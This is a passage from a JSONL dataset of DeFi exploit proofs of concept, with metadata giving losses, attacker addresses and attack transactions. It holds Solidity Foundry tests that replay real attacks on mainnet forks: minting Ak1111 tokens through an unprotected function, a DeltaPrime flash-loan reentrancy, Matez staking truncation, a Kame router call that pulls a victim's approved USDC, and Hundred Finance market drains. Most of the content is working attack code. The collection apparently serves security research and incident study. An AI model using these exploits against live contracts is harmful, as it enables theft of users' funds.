\"\");\n\n ak1111.approve(PANCAKE_ROUTER, type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = AK1111_ADDR;\n path[1] = BSC_USD;\n IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(ak1111Balance, 0, path, address(this), block.timestamp);\n }\n}\n\ninterface IAk1111 is IERC20 {\n function nonblockingLzReceive1(uint16 _srcChainId, address _srcAddress, uint256 _nonce, bytes memory _payload) external;\n}\n", "type": "exploit_poc", "protocol": "Ak1111", "date": "2024-11", "file_name": "Ak1111_exp.sol", "attack_vector": "access_control", "content_hash": "3e36994496bd9113", "collected_at": "2026-01-07T10:59:16.546786", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "31.5K USD", "total_lost_usd": 31500.0, "attacker_address": "https://bscscan.com/address/0xCe21C6e4fa557A9041FA98DFf59A4401Ef0a18aC", "attack_contract": "https://bscscan.com/address/0xbFD7280B11466bc717EB0053A78675aed2C2E388", "vulnerable_contract": "https://bscscan.com/address/0xc3B1b45e5784A8efececfC0BE2E28247d3f49963", "attack_tx": "https://bscscan.com/tx/0xc29c98da0c14f4ca436d38f8238f8da1c84c4b1ee6480c4b4facc4b81a013438", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1860554838897197135", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "31.5K USD", "category": "access-control", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n IAk1111 ak1111 = IAk1111(AK1111_ADDR);\n uint256 ak1111Balance = ak1111.balanceOf(CAKE_LP);\n\n // this function is lack of access control. anyone call it to mint AK1111 token for free\n ak1111.nonblockingLzReceive1(0, address(this), ak1111Balance, \"\");\n\n ak1111.approve(PANCAKE_ROUTER, type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = AK1111_ADDR;\n path[1] = BSC_USD;\n IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(ak1111Balance, 0, path, address(this), block.timestamp);\n }\n}\n\ninterface IAk1111 is IERC20 {", "has_exploit_code": true, "keyinfo_total_lost": "31.5K USD", "keyinfo_attacker": "https://bscscan.com/address/0xCe21C6e4fa557A9041FA98DFf59A4401Ef0a18aC", "keyinfo_attack_contract": "https://bscscan.com/address/0xbFD7280B11466bc717EB0053A78675aed2C2E388", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xc3B1b45e5784A8efececfC0BE2E28247d3f49963", "keyinfo_attack_tx": "https://bscscan.com/tx/0xc29c98da0c14f4ca436d38f8238f8da1c84c4b1ee6480c4b4facc4b81a013438", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1860554838897197135", "funds_lost_formatted": "$31.5K", "content_richness_score": 8.19, "quality_estimate": "high", "title": "Ak1111 Exploit (2024-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : $4.75M\n// Attacker : https://arbiscan.io/address/0xb87881637b5c8e6885c51ab7d895e53fa7d7c567\n// Attack Contract : https://arbiscan.io/address/0x0b2bcf06f740c322bc7276b6b90de08812ce9bfe\n// Vulnerable Contract : https://arbiscan.io/address/0x62cf82fb0484af382714cd09296260edc1dc0c6c\n// Attack Tx : https://arbiscan.io/tx/0x6a2f989b5493b52ffc078d0a59a3bf9727d134b403aa6e0bf309fd513a728f7f\n\ninterface ISmartLoansFactoryTUP {\n function createLoan() external returns (address);\n}\n\ninterface ISmartLoan {\n function swapDebtParaSwap(\n bytes32 _fromAsset,\n bytes32 _toAsset,\n uint256 _repayAmount,\n uint256 _borrowAmount,\n bytes4 selector,\n bytes memory data\n ) external;\n\n function claimReward(address pair, uint256[] calldata ids) external;\n\n function wrapNativeToken(\n uint256 amount\n ) external;\n\n function isSolvent() external returns (bool);\n}\n\ninterface ISimpleSwap {\n struct SimpleData {\n address fromToken;\n address toToken;\n uint256 fromAmount;\n uint256 toAmount;\n uint256 expectedAmount;\n address[] callees;\n bytes exchangeData;\n uint256[] startIndexes;\n uint256[] values;\n address beneficiary;\n address partner;\n uint256 feePercent;\n bytes permit;\n uint256 deadline;\n bytes16 uuid;\n }\n\n function simpleSwap(\n SimpleData memory swapData\n ) external;\n}\n\ncontract DeltaPrimeExp is Test {\n IWETH WETH = IWETH(payable(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1));\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n ISmartLoansFactoryTUP SmartLoansFactoryTUP = ISmartLoansFactoryTUP(0xFf5e3dDaefF411a1dC6CcE00014e4Bca39265c20);\n ISmartLoan SmartLoan;\n FakePairContract fakePairContract;\n uint256 flashLoanAmount;\n\n address ETHER = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\n bytes32 _fromAsset = 0x5553444300000000000000000000000000000000000000000000000000000000;\n bytes32 _toAsset = 0x4554480000000000000000000000000000000000000000000000000000000000;\n uint256 _repayAmount = 0;\n uint256 _borrowAmount = 66_619_545_304_650_988_218;\n bytes4 selector = ISimpleSwap.simpleSwap.selector;\n\n function setUp() external {\n vm.deal(address(this), 0 ether);\n vm.createSelectFork(\"arbitrum\", 273_278_741);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(SmartLoansFactoryTUP), \"SmartLoansFactoryTUP\");\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\n \"Attacker WETH balance before exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n SmartLoan = ISmartLoan(SmartLoansFactoryTUP.createLoan()); // create an attacker position contract\n vm.label(address(SmartLoan), \"SmartLoan\");\n fakePairContract = new FakePairContract(); // create a fakePair contract\n vm.label(address(fakePairContract), \"fakePairContract\");\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = WETH.balanceOf(address(Balancer));\n flashLoanAmount = amounts[0];\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function convertETH() external {\n string memory priceDataPath = \"./src/test/2024-11/DelatPrimePriceData.txt\";\n bytes memory priceData = vm.parseBytes(vm.readFile(priceDataPath));\n bytes memory wrapNativeTokenData =\n abi.encodePacked(abi.encodeCall(ISmartLoan.wrapNativeToken, (address(SmartLoan).balance)), priceData);\n\n address(SmartLoan).call(wrapNativeTokenData); // convert collateral eth to weth, claim weth as reward asset\n // SmartLoan.wrapNativeToken(address(SmartLoan).balance);\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n WETH.withdraw(WETH.balanceOf(address(this))); // withdraw weth to eth\n\n address(SmartLoan).call{value: address(this).balance}(\"\"); // transfer eth to SmartLoan as collateral\n\n bytes memory data = castCallData();\n string memory priceDataPath = \"./src/test/2024-11/DelatPrimePriceData.txt\";\n bytes memory priceData = vm.parseBytes(vm.readFile(priceDataPath));\n bytes memory swapDebtParaSwapData = abi.encodePacked(\n abi.encodeCall(\n ISmartLoan.swapDebtParaSwap, (_fromAsset, _toAsset, _repayAmount, _borrowAmount, selector, data)\n ),\n priceData\n );\n\n address(SmartLoan).call(swapDebtParaSwapData); // SmartLoan borrow eth,\n // SmartLoan.swapDebtParaSwap(_fromAsset, _toAsset, _repayAmount, _borrowAmount, selector, data)\n\n uint256[] memory ids = new uint256[](1);\n ids[0] = 0;\n bytes memory claimRewardData =\n abi.encodePacked(abi.encodeCall(ISmartLoan.claimReward, (address(fakePairContract), ids)), priceData);\n\n address(SmartLoan).call(claimRewardData); // trigger reenter attack, convert collateral and debt eth to weth and claim as reward\n // SmartLoan.claimReward(address(fakePairContract), ids);\n\n WETH.transfer(address(Balancer), flashLoanAmount);\n }\n\n receive() external payable {}\n\n function castCallData() internal returns (bytes memory) {\n address[] memory callee = new address[](1);\n callee[0] = address(WETH);\n bytes memory exchangeDatas = abi.encodeWithSignature(\"withdraw(uint256)\", _borrowAmount);\n uint256[] memory startIndexe = new uint256[](2);\n startIndexe[0] = 0;\n startIndexe[1] = 36;\n uint256[] memory value = new uint256[](1);\n value[0] = 0;\n ISimpleSwap.SimpleData memory swapData = ISimpleSwap.SimpleData({\n fromToken: address(WETH),\n toToken: ETHER,\n fromAmount: _borrowAmount,\n toAmount: _borrowAmount,\n expectedAmount: _borrowAmount,\n callees: callee,\n exchangeData: exchangeDatas,\n startIndexes: startIndexe,\n values: value,\n beneficiary: address(0),\n partner: address(0),\n feePercent: uint256(0),\n permit: \"\",\n deadline: 1_000_000_000_000_000,\n uuid: 0x8c933246c370415fafa74eaed5e8acf9\n });\n bytes memory swapDatas = abi.encode(swapData);\n return swapDatas;\n }\n}\n\ncontract FakePairContract {\n address attackContract;\n address WETH = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;\n\n struct Parameters {\n address hooks;\n bool beforeSwap;\n bool afterSwap;\n bool beforeFlashLoan;\n bool afterFlashLoan;\n bool beforeMint;\n bool afterMint;\n bool beforeBurn;\n bool afterBurn;\n bool beforeBatchTransferFrom;\n bool afterBatchTransferFrom;\n }\n\n constructor() {\n attackContract = msg.sender;\n }\n\n bytes32 internal constant BEFORE_SWAP_FLAG = bytes32(uint256(1 << 160));\n bytes32 internal constant AFTER_SWAP_FLAG = bytes32(uint256(1 << 161));\n bytes32 internal constant BEFORE_FLASH_LOAN_FLAG = bytes32(uint256(1 << 162));\n bytes32 internal constant AFTER_FLASH_LOAN_FLAG = bytes32(uint256(1 << 163));\n bytes32 internal constant BEFORE_MINT_FLAG = bytes32(uint256(1 << 164));\n bytes32 internal constant AFTER_MINT_FLAG = bytes32(uint256(1 << 165));\n bytes32 internal constant BEFORE_BURN_FLAG = bytes32(uint256(1 << 166));\n bytes32 internal constant AFTER_BURN_FLAG = bytes32(uint256(1 << 167));\n bytes32 internal constant BEFORE_TRANSFER_FLAG = bytes32(uint256(1 << 168));\n bytes32 internal constant AFTER_TRANSFER_FLAG = bytes32(uint256(1 << 169));\n\n function encode(\n Parameters memory parameters\n ) internal pure returns (bytes32 hooksParameters) {\n hooksParameters = bytes32(uint256(uint160(address(parameters.hooks))));\n\n if (parameters.beforeSwap) hooksParameters |= BEFORE_SWAP_FLAG;\n if (parameters.afterSwap) hooksParameters |= AFTER_SWAP_FLAG;\n if (parameters.beforeFlashLoan) hooksParameters |= BEFORE_FLASH_LOAN_FLAG;\n if (parameters.afterFlashLoan) hooksParameters |= AFTER_FLASH_LOAN_FLAG;\n if (parameters.beforeMint) hooksParameters |= BEFORE_MINT_FLAG;\n if (parameters.afterMint) hooksParameters |= AFTER_MINT_FLAG;\n if (parameters.beforeBurn) hooksParameters |= BEFORE_BURN_FLAG;\n if (parameters.afterBurn) hooksParameters |= AFTER_BURN_FLAG;\n if (parameters.beforeBatchTransferFrom) hooksParameters |= BEFORE_TRANSFER_FLAG;\n if (parameters.afterBatchTransferFrom) hooksParameters |= AFTER_TRANSFER_FLAG;\n }\n\n function getLBHooksParameters() external returns (bytes32) {\n Parameters memory para =\n Parameters(address(this), false, false, false, false, false, false, false, false, false, false);\n return encode(para);\n }\n\n function claim(address user, uint256[] calldata ids) external {\n attackContract.call(abi.encodeWithSelector(DeltaPrimeExp.convertETH.selector, \"\"));\n }\n\n function getRewardToken() external returns (address) {\n return WETH;\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "DeltaPrime", "date": "2024-11", "file_name": "DeltaPrime_exp.sol", "attack_vector": "flash_loan", "content_hash": "890feb92d9d411b5", "collected_at": "2026-01-07T10:59:16.546834", "_source": "postmortems", "chain": "arbitrum", "block_number": 273278741, "total_lost_raw": "$4.75M", "total_lost_usd": 4750000.0, "attacker_address": "https://arbiscan.io/address/0xb87881637b5c8e6885c51ab7d895e53fa7d7c567", "attack_contract": "https://arbiscan.io/address/0x0b2bcf06f740c322bc7276b6b90de08812ce9bfe", "vulnerable_contract": "https://arbiscan.io/address/0x62cf82fb0484af382714cd09296260edc1dc0c6c", "attack_tx": "https://arbiscan.io/tx/0x6a2f989b5493b52ffc078d0a59a3bf9727d134b403aa6e0bf309fd513a728f7f", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "$4.75M", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "$4.75M", "keyinfo_attacker": "https://arbiscan.io/address/0xb87881637b5c8e6885c51ab7d895e53fa7d7c567", "keyinfo_attack_contract": "https://arbiscan.io/address/0x0b2bcf06f740c322bc7276b6b90de08812ce9bfe", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0x62cf82fb0484af382714cd09296260edc1dc0c6c", "keyinfo_attack_tx": "https://arbiscan.io/tx/0x6a2f989b5493b52ffc078d0a59a3bf9727d134b403aa6e0bf309fd513a728f7f", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$4.75M", "content_richness_score": 8, "quality_estimate": "high", "title": "DeltaPrime Exploit (2024-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : 80k USD\n// Attacker : https://bscscan.com/address/0xd4f04374385341da7333b82b230cd223143c4d62\n// Attack Contract : https://bscscan.com/address/0x0aD02ce1b8EB978FD8dc4abeC5bf92Dfa81Ed705\n// Vulnerable Contract : https://bscscan.com/address/0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa\n// Attack Tx : https://bscscan.com/tx/0x840b0dc64dbb91e8aba524f67189f639a0bc94ee9256c57d79083bb3fd46ec91\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1859830885966905670\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant MATEZ_STAKING_PROG = 0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa;\naddress constant MATEZ_TOKEN = 0x010C0D77055A26D09bb474EF8d81975F55bd8Fc9;\n\ncontract Matez is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 44222632 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = MATEZ_TOKEN;\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n\n // due to the integer truncation problem, the following number will be truncated to 0,\n // This flaw allowed the attacker to transfer a zero amount of tokens while \n // being recognized by the contract as having staked a large amount. \n uint256 amount = 340282366920938463463374607431768211456;\n IMatez matez = IMatez(MATEZ_STAKING_PROG);\n\n // register current contract\n address sponsor = 0x80d93e9451A6830e9A531f15CCa42Cb0357D511f;\n matez.register(sponsor);\n matez.stake(amount);\n\n // create enough referrals to enable claim\n for (uint256 i = 0; i < 25; i++) {\n new AttackContract(address(this), amount);\n }\n\n // claim free MATEZ token and sell it later\n IMatez(MATEZ_STAKING_PROG).claim(uint40(3), uint40(1), 0);\n\n // keep repeat this process to get more MATEZ token for free\n }\n}\n\ncontract AttackContract {\n constructor(address sponsor, uint256 amount) {\n IMatez matez = IMatez(MATEZ_STAKING_PROG);\n matez.register(sponsor);\n matez.stake(amount);\n }\n}\n\ninterface IMatez {\n function register(address _sponsor) external;\n function stake(uint256 amnt) external;\n function claim(uint40 typ, uint40 pkgid, uint256 amount) external;\n}\n", "type": "exploit_poc", "protocol": "Matez", "date": "2024-11", "file_name": "Matez_exp.sol", "attack_vector": null, "content_hash": "d691a68225789328", "collected_at": "2026-01-07T10:59:16.546907", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "80k USD", "total_lost_usd": 80000.0, "attacker_address": "https://bscscan.com/address/0xd4f04374385341da7333b82b230cd223143c4d62", "attack_contract": "https://bscscan.com/address/0x0aD02ce1b8EB978FD8dc4abeC5bf92Dfa81Ed705", "vulnerable_contract": "https://bscscan.com/address/0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa", "attack_tx": "https://bscscan.com/tx/0x840b0dc64dbb91e8aba524f67189f639a0bc94ee9256c57d79083bb3fd46ec91", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1859830885966905670", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "80k USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n\n // due to the integer truncation problem, the following number will be truncated to 0,\n // This flaw allowed the attacker to transfer a zero amount of tokens while \n // being recognized by the contract as having staked a large amount. \n uint256 amount = 340282366920938463463374607431768211456;\n IMatez matez = IMatez(MATEZ_STAKING_PROG);\n\n // register current contract\n address sponsor = 0x80d93e9451A6830e9A531f15CCa42Cb0357D511f;\n matez.register(sponsor);\n matez.stake(amount);\n\n // create enough referrals to enable claim\n for (uint256 i = 0; i < 25; i++) {\n new AttackContract(address(this), amount);\n }\n\n // claim free MATEZ token and sell it later\n IMatez(MATEZ_STAKING_PROG).claim(uint40(3), uint40(1), 0);\n\n // keep repeat this process to get more MATEZ token for free\n }\n}\n\ncontract AttackContract {\n constructor(address sponsor, uint256 amount) {\n IMatez matez = IMatez(MATEZ_STAKING_PROG);\n matez.register(sponsor);\n matez.stake(amount);\n }\n}\n\ninterface IMatez {", "has_exploit_code": true, "keyinfo_total_lost": "80k USD", "keyinfo_attacker": "https://bscscan.com/address/0xd4f04374385341da7333b82b230cd223143c4d62", "keyinfo_attack_contract": "https://bscscan.com/address/0x0aD02ce1b8EB978FD8dc4abeC5bf92Dfa81Ed705", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa", "keyinfo_attack_tx": "https://bscscan.com/tx/0x840b0dc64dbb91e8aba524f67189f639a0bc94ee9256c57d79083bb3fd46ec91", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1859830885966905670", "funds_lost_formatted": "$80.0K", "content_richness_score": 7.33, "quality_estimate": "medium", "title": "Matez Exploit (2024-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\ninterface IAggregationRouter {\n struct SwapParams {\n address srcToken;\n address dstToken;\n uint256 amount;\n address payable executor;\n bytes executeParams;\n bytes extraData;\n }\n\n function swap(\n SwapParams calldata params\n ) external payable returns (uint256 returnAmount);\n\n event Swapped(address srcToken, address dstToken, uint256 amount, uint256 returnAmount, bytes extraData);\n}\n\n// @KeyInfo - Total Lost : 18167.880000 USD\n// Attacker : https://seiscan.io//address/0xd43d0660601e613f9097d5c75cd04ee0c19e6f65\n// Attack Contract : N/A\n// Vulnerable Contract : https://seiscan.io//address/0x14bb98581ac1f1a43fd148db7d7d793308dc4d80\n// Attack Tx : https://seiscan.io//tx/0x6150ec6b2b1b46d1bcba0cab9c3a77b5bca218fd1cdaad1ddc7a916e4ce792ec\n\n// @Info\n// Vulnerable Contract Code : https://seiscan.io//address/0x14bb98581ac1f1a43fd148db7d7d793308dc4d80#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/SupremacyHQ/status/1966909841483636849\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\ncontract Kame is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 167_791_783 - 1;\n\n address USDC = 0xe15fC38F6D8c56aF07bbCBe3BAf5708A2Bf42392;\n address syUSD = 0x059A6b0bA116c63191182a0956cF697d0d2213eC;\n\n //User with approval to the vulnerable contract\n address targetToTakeFrom = 0x9A9F47F38276f7F7618Aa50Ba94B49693293Ab50;\n IAggregationRouter router = IAggregationRouter(0x14bb98581Ac1F1a43fD148db7d7D793308Dc4d80);\n\n function setUp() public {\n vm.createSelectFork(\"sei\", blocknumToForkFrom);\n fundingToken = USDC;\n }\n\n function createSwapParams(\n address tokenToUseInSwap,\n address tokenToPull,\n address targetUser\n ) internal returns (IAggregationRouter.SwapParams memory) {\n IAggregationRouter.SwapParams memory params;\n params.srcToken = tokenToUseInSwap;\n params.dstToken = tokenToUseInSwap;\n params.amount = 0;\n params.executor = payable(tokenToPull);\n //Create a transferfrom call to usdc to the router\n params.executeParams = abi.encodeWithSignature(\n \"transferFrom(address,address,uint256)\",\n targetUser,\n address(this),\n //targetUser's full balance of tokentopull\n TokenHelper.getTokenBalance(tokenToPull, targetUser)\n );\n params.extraData = hex\"01\";\n return params;\n }\n\n function testExploit() public balanceLog {\n router.swap(createSwapParams(syUSD, USDC, targetToTakeFrom));\n }\n}\n", "type": "exploit_poc", "protocol": "Kame", "date": "2025-09", "file_name": "Kame_exp.sol", "attack_vector": null, "content_hash": "c41444eada1d81c7", "collected_at": "2026-01-07T10:59:16.546953", "_source": "postmortems", "chain": "unknown", "block_number": null, "total_lost_raw": "18167.880000 USD", "total_lost_usd": 18167.88, "attacker_address": "https://seiscan.io//address/0xd43d0660601e613f9097d5c75cd04ee0c19e6f65", "attack_contract": null, "vulnerable_contract": "https://seiscan.io//address/0x14bb98581ac1f1a43fd148db7d7d793308dc4d80", "attack_tx": "https://seiscan.io//tx/0x6150ec6b2b1b46d1bcba0cab9c3a77b5bca218fd1cdaad1ddc7a916e4ce792ec", "postmortem_url": null, "twitter_url": "https://x.com/SupremacyHQ/status/1966909841483636849", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "18167.880000 USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n router.swap(createSwapParams(syUSD, USDC, targetToTakeFrom));\n }", "has_exploit_code": true, "keyinfo_total_lost": "18167.880000 USD", "keyinfo_attacker": "https://seiscan.io//address/0xd43d0660601e613f9097d5c75cd04ee0c19e6f65", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://seiscan.io//address/0x14bb98581ac1f1a43fd148db7d7d793308dc4d80", "keyinfo_attack_tx": "https://seiscan.io//tx/0x6150ec6b2b1b46d1bcba0cab9c3a77b5bca218fd1cdaad1ddc7a916e4ce792ec", "analysis_postmortem": "", "analysis_twitter": "https://x.com/SupremacyHQ/status/1966909841483636849", "funds_lost_formatted": "$18.2K", "content_richness_score": 7.34, "quality_estimate": "medium", "title": "Kame Exploit (2025-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/peckshield/status/1647307128267476992\n// https://twitter.com/danielvf/status/1647329491788677121\n// https://twitter.com/hexagate_/status/1647334970258608131\n// @TX\n// https://optimistic.etherscan.io/tx/0x6e9ebcdebbabda04fa9f2e3bc21ea8b2e4fb4bf4f4670cb8483e2f0b2604f451\n// @Summary\n// https://blog.hundred.finance/15-04-23-hundred-finance-hack-post-mortem-d895b618cf33\n\ninterface IChainlinkPriceOracleProxy {\n function getUnderlyingPrice(\n address cToken\n ) external view returns (uint256);\n}\n\ncontract contractTest is Test {\n IERC20 WBTC = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);\n IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);\n IERC20 SNX = IERC20(0x8700dAec35aF8Ff88c16BdF0418774CB3D7599B4);\n IERC20 sUSD = IERC20(0x8c6f28f2F1A3C87F0f938b96d27520d9751ec8d9);\n IERC20 USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58);\n IERC20 DAI = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1);\n ICErc20Delegate hWBTC = ICErc20Delegate(0x35594E4992DFefcB0C20EC487d7af22a30bDec60);\n crETH CEther = crETH(0x1A61A72F5Cf5e857f15ee502210b81f8B3a66263);\n ICErc20Delegate hSNX = ICErc20Delegate(0x371cb7683bA0639A21f31E0B20F705e45bC18896);\n ICErc20Delegate hUSDC = ICErc20Delegate(0x10E08556D6FdD62A9CE5B3a5b07B0d8b0D093164);\n ICErc20Delegate hDAI = ICErc20Delegate(0x0145BE461a112c60c12c34d5Bc538d10670E99Ab);\n ICErc20Delegate hUSDT = ICErc20Delegate(0xb994B84bD13f7c8dD3af5BEe9dfAc68436DCF5BD);\n ICErc20Delegate hSUSD = ICErc20Delegate(0x76E47710AEe13581Ba5B19323325cA31c48d4cC3);\n ICErc20Delegate hFRAX = ICErc20Delegate(0xd97a2591930E2Da927b1903BAA6763618BD7425b);\n IUnitroller unitroller = IUnitroller(0x5a5755E1916F547D04eF43176d4cbe0de4503d5d);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n address HundredFinanceExploiter = 0x155DA45D374A286d383839b1eF27567A15E67528;\n IChainlinkPriceOracleProxy priceOracle = IChainlinkPriceOracleProxy(0x10010069DE6bD5408A6dEd075Cf6ae2498073c73);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"optimism\", 90_760_765);\n cheats.label(address(WBTC), \"WBTC\");\n cheats.label(address(USDC), \"USDC\");\n cheats.label(address(SNX), \"SNX\");\n cheats.label(address(sUSD), \"sUSD\");\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(DAI), \"DAI\");\n cheats.label(address(hWBTC), \"hWBTC\");\n cheats.label(address(CEther), \"CEther\");\n cheats.label(address(hSNX), \"hSNX\");\n cheats.label(address(hUSDC), \"hUSDC\");\n cheats.label(address(hDAI), \"hDAI\");\n cheats.label(address(hUSDT), \"hUSDT\");\n cheats.label(address(hSUSD), \"hSUSD\");\n cheats.label(address(hFRAX), \"hFRAX\");\n cheats.label(address(aaveV3), \"aaveV3\");\n cheats.label(address(unitroller), \"unitroller\");\n cheats.label(address(priceOracle), \"ChainlinkPriceOracleProxy\");\n }\n\n function testExploit() external {\n payable(address(0)).transfer(address(this).balance);\n cheats.startPrank(HundredFinanceExploiter);\n hWBTC.transfer(address(this), 1_503_167_295); // anti front-run\n cheats.stopPrank();\n aaveV3.flashLoanSimple(address(this), address(WBTC), 500 * 1e8, new bytes(0), 0);\n\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", address(this).balance, 18);\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\"Attacker SNX balance after exploit\", SNX.balanceOf(address(this)), SNX.decimals());\n emit log_named_decimal_uint(\n \"Attacker sUSD balance after exploit\", sUSD.balanceOf(address(this)), sUSD.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n emit log_named_decimal_uint(\"Attacker DAI balance after exploit\", DAI.balanceOf(address(this)), DAI.decimals());\n }\n\n function executeOperation(\n address asset,\n uint256 amount,\n uint256 premium,\n address initator,\n bytes calldata params\n ) external payable returns (bool) {\n hWBTC.redeem(hWBTC.balanceOf(address(this)));\n\n console.log(\"1. ETH Drain \\r\");\n ETHDrains();\n console.log(\"2. SNX Drain \\r\");\n tokenDrains(hSNX);\n console.log(\"3. USDC Drain \\r\");\n tokenDrains(hUSDC);\n console.log(\"4. DAI Drain \\r\");\n tokenDrains(hDAI);\n console.log(\"5. USDT Drain\");\n tokenDrains(hUSDT);\n console.log(\"6. SUSD Drain\");\n tokenDrains(hSUSD);\n console.log(\"7. FRAX Drain \\r\");\n tokenDrains(hFRAX);\n\n WBTC.approve(address(aaveV3), type(uint256).max);\n return true;\n }\n\n function ETHDrains() internal {\n uint256 _salt = uint256(keccak256(abi.encodePacked(uint256(0))));\n bytes memory creationBytecode = getETHDrainCreationBytecode(address(CEther));\n address DrainAddress = getAddress(creationBytecode, _salt);\n WBTC.transfer(DrainAddress, WBTC.balanceOf(address(this)));\n\n ETHDrain ETHDrainer = new ETHDrain{salt: bytes32(_salt)}(CEther);\n uint256 liquidationRepayAmount = getLiquidationRepayAmount(address(CEther));\n CEther.liquidateBorrow{value: liquidationRepayAmount}(address(ETHDrainer), address(hWBTC));\n hWBTC.redeem(1); // Withdraw remaining share from hWBTC\n console.log(\"*************************************************\");\n console.log(\"\\r\");\n }\n\n function tokenDrains(\n ICErc20Delegate hToken\n ) internal {\n uint256 _salt = uint256(keccak256(abi.encodePacked(uint256(0))));\n bytes memory creationBytecode = gettokenDrainCreationBytecode(address(hToken));\n address DrainAddress = getAddress(creationBytecode, _salt);\n WBTC.transfer(DrainAddress, WBTC.balanceOf(address(this)));\n\n tokenDrain tokenDrainer = new tokenDrain{salt: bytes32(_salt)}(hToken);\n IERC20 underlyingToken = IERC20(hToken.underlying());\n underlyingToken.approve(address(hToken), type(uint256).max);\n hToken.liquidateBorrow(address(tokenDrainer), getLiquidationRepayAmount(address(hToken)), address(hWBTC));\n hWBTC.redeem(1); // Withdraw remaining share from hWBTC\n 